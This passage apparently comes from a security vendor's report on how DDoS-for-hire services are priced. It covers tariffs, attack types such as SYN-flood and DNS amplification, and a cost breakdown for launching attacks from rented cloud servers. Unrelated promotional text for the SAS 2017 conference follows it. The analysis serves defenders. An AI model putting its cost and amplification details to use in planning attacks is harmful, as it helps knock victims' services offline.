  1. The target and its characteristics. A cybercriminal that agrees to attack a government resource will attract customers who are interested in this particular service. The attacker can ask for more money for this type of service than they would for an attack on an online store. The cost of the service may also depend on the type of anti-DDoS protection the potential victim has: if the target uses traffic filtering systems to protect its resources, the cybercriminals have to come up with ways of bypassing them to ensure an effective attack, and this also means an increase in the price.

  2. Attack sources and their characteristics. This factor can determine the price the attackers ask for conducting their attacks. The cheaper it is for a criminal to maintain a botnet (defined, for example, by the average cost of infecting a device and including it in a botnet), the more likely they are to ask for bargain-basement prices for their services. For example, a botnet of 1000 surveillance cameras may be cheaper in terms of organization than a botnet of 100 servers. This is because cameras and other IoT devices are currently less secure – a fact that is often ignored by their owners.

  3. Attack scenario. Requests for atypical DDoS attacks (for example, the customer may ask the botnet owner to alternate between different methods of DDoS attacks within a short period of time or implement several methods simultaneously) can increase costs.

  4. The average cost of a DDoS attack as a service in a particular country. Competition can cause cybercriminals to raise or lower the cost of their services. They also try to take into consideration the ability of their audience to pay and devise their pricing policy accordingly (for example, a DDoS attack will cost US customers more than a similar offer in Russia).

Along with specific botnet features, the organizers of DDoS services also offer customers a tariff plan in which the buyer pays a per-second rental price for botnet capacity. For example, a DDoS attack of 300 seconds using a botnet with a total bandwidth of 125 Gbps will cost €5, with all other characteristics (power and scenarios) remaining the same for all tariffs.

The price list for one of the biggest services offering DDoS attacks

A DDoS attack lasting 10,800 seconds will cost the client $60, or approximately $20 per hour, and the attack specifications (scenario and computing power used) were not always stated on the customer-facing resource. Apparently, not all cybercriminals consider it appropriate to disclose the inner workings of their botnet (it’s also possible that some owners don’t actually understand the technical characteristics of their botnets). In particular, they don’t disclose the type of bots included in a botnet.

The price includes implementation of the following rather trivial scenarios:

  • SYN-flood;
  • UDP-flood;
  • NTP-amplification;
  • Multi-vector amplification (several amplification scenarios simultaneously).

The price list for a service that, with just a few clicks, allows clients to order a DDoS attack on an arbitrary resource accompanied with a detailed report

Some services offer a choice of attack scenario, which allows cybercriminals to combine different scenarios and perform attacks tailored to the individual characteristics of the victim. For example, if the victim successfully combats SYN-flood, the attacker can switch the scenario on the control panel and evaluate the victim’s reaction.

Various tariffs of an English-language service that varies its pricing according to the number of seconds a DDoS attack lasts

Among the offers we analyzed there were some in which the attackers stated different prices for their services depending on the type of victim.

Information found on a Russian site dedicated entirely to DDoS services

For example, the cybercriminals ask for $400 per day to attack a site/server that uses anti-DDoS protection, which is four times more expensive than an attack on an unprotected site.

Moreover, not all cybercriminals offering DDoS attacks will agree to attack government resources: such sites are closely monitored by law enforcement agencies, and the organizers don’t want to expose their botnets. However, we did come across services offering attacks on government resources as a separate item in the price list.

“The price may change if the resource has political status” reads a resource promoting DDoS attacks

Interestingly, some criminals see nothing wrong with providing protection from DDoS along with their DDoS attack services.

Some services offering DDoS attacks may also offer protection from such attacks

Pricing: a “cloud” example

Let’s consider a DNS amplification attack scenario. This type of attack involves the sending of a specially formed request (for example, 100 bytes in volume) to a vulnerable DNS server that responds to the “sender” (i.e. the victim) with a larger volume (kilobyte) of data. The botnet may consist of tens or even hundreds of such servers or the resources of a public cloud service provider. Add in public web load testing services that can be used to carry out a SaaS amplification attack, and we end up with a fairly heavy “sledgehammer”.

DDoS = Cloud + DNS Amplification + SaaS Amplification

The cost of this service depends on the cost of the provider’s resources. Let’s take Amazon EC2 as an example – the price for a virtual dedicated server with minimal configuration (for a DDoS attack, the configuration of the infected workstation is not as important as its bandwidth connection) is about $0.0065 per hour. Therefore, 50 virtual servers for the organization of a low-powered DDoS attack on an online store will cost cybercriminals $0.325 per hour. Taking into account additional expenses (for example, a SIM card to register an account and adding a credit card to it), an hour-long DDoS attack using a cloud service will cost the criminals about $4.

Price list for popular cloud service providers

This means the actual cost of an attack using a botnet of 1000 workstations can amount to $7 per hour. The asking prices for the services we managed to find were, on average, $25 per hour, meaning the cybercriminals organizing DDoS attack are making a profit of about $18 for every hour of an attack.


The clients of these services understand perfectly well the benefits of DDoS attacks and how effective they can be. The cost of a five-minute attack on a large online store is about $5. The victim, however, can lose far more because potential customers simply cannot place an order. We can only guess how many customers an online store loses if an attack lasts the whole day.

At the same time, cybercriminals continue to actively seek new and cheaper ways to organize botnets. In this regard, the Internet of things makes life easier for them. One of the current trends is the infection of IoT devices (CCTV cameras, DVR-systems, “smart” household appliances, etc.) and their subsequent use in DDoS attacks. And while vulnerable IoT devices exist, cybercriminals are able to exploit them.

It should be noted that DDoS attacks and, in particular, ransomware DDoS have already turned into a high-margin business: the profitability of one attack can exceed 95%. And the fact that the owners of online sites are often willing to pay a ransom without even checking whether the attackers can actually carry out an attack (something that other fraudsters have already picked up on) adds even more fuel to the fire. All the above suggests that the average cost of DDoS attacks in the near future will only fall, while their frequency will increase.

Top 8 Reasons You Don’t Want to Miss SAS 2017

Tue, 03/21/2017 - 10:31

The planning for Kaspersky Lab Security Analyst Summit (SAS 2017) is nearing completion and we have a small number of invitations available for malware researchers, law enforcement officials, incident responders and professionals involved in the fight against cybercrime.

If you’ve never been to SAS, ask around. You really are missing out on the best security conference in the industry – and event where the best connections are made, high-quality discoveries are shared in a fun, casual atmosphere.

This year, the conference will be in beautiful St Maarten at the Westin Dawn Beach Resort & Spa. The agenda is now live with a wide range of quality keynotes and presentations. If you still haven’t made up your mind, here are the top ten reasons to make a last-minute decision to join us in St Maarten.

  1. Mark Dowd’s first ever conference keynote: Mark Dowd, of ISS X-Force fame, is globally respected for his work hacking – and fixing – some of the biggest software vulnerabilities. He has literally written the book on software security assessment and now focuses his efforts on breaking Apple’s iOS to look for security holes. At SAS 2017, Dowd’s keynote will focus on the memory corruption safety dance.

  2. The Internet of Things (IoT) is everywhere around us, presenting amazing gadgets like drones and productivity devices. It also introduces a wide range of vulnerabilities. The agenda is filled with presentations on these weaknesses and promises a straightforward discussion on where the industry needs to go to protect the world from attacks that are inevitable.

  3. The SAS conference is renowned for uncompromising APT revelations and 2017 promises een more. Kris McConkehy from PwC will reveal technical talk on a seven-year malicious campaign; BAE Systems and Kaspersky Lab with a story about chasing bad guys from Bangladesh to Costa Rica (hint: SWIFT); Researchers from Mandiant will discuss major campaigns against the hospitality and gaming industries; Lookout Security will provide new information on a nation-state backed mobile espionage case.

  4. Much like IoT issues, the world is moving swiftly to smart city deployments. These manage transportation sectors, traffic lights, water meters and a range of technologies to increase efficiency and cut costs. At SAS 2017, Smart Cities will take center stage with a highly anticipated talk on the security problems with the deployment on a smart city municipal drone programs. SAS 2017 participants will also learn how to build and run an IoT honeypot for researching attacks and evaluate first results of IoT tracking project.

  5. Security experts willpresent a cheap and simple hardware design that can empty one of the most popular ATM models in the world; others will talk about criminal gangstargeting banks and Apple and the hijacking of a major financial institution.

  6. We are in the midst of a ransomware epidemic but did you know there is a new trend emerging regarding ransomware in targeted attacks? Think APTs merging with ransomware cybercriminals and you will understand why this is an incredibly important topic. Security experts from Google will also talk about how to harden Android against ransomware).

  7. If you think the debate on vulnerability disclosure is complete, think again. SAS 2017 will present an entire session focused on this evergreen issue with some of the biggest names joining us to share their expertise – Katie Moussouris, Alex Rice, David Jacoby, Kymberlee Price and Cesar Cerrudo. There may even be an interesting news announcement